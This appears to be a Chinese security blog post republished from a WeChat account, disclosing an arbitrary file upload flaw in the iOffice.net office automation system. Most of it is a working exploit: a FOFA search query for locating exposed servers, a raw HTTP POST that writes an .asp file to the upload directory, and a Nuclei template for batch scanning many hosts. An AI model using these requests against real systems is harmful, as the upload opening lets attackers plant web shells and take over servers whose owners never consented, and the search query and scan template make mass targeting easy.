一、免责声明:
本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号望雪阁及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!
二、产品介绍:
三、资产梳理:
fofa: title="iOffice.net"
四、漏洞复现:
五、POC:
POST /iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=123.asp&filepath=/upfiles/rep/pic/ HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
<%Response.Write 1008611%>
Nuclei批量检测:
id: hongfanOA_files_upload
info:
name: hongfanOA_files_upload
author: joyboy
severity: critical
description: http://xxx.xxx.xxx/iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=123.asp&filepath=/upfiles/rep/pic/
metadata:
max-request: 1
fofa-query: title="iOffice.net"
verified: true
tags: upload
requests:
- raw:
- |-
POST /iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=123.asp&filepath=/upfiles/rep/pic/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
<%Response.Write 1008611%>
- |+
GET /iOffice/upfiles/rep/pic/123.asp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
req-condition: true
matchers:
- type: dsl
condition: and
dsl:
- 'contains((body_2), "1008611") && status_code_2 == 200'
原文始发于微信公众号(fly的渗透学习笔记):*帆OA iorepsavexml.aspx任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论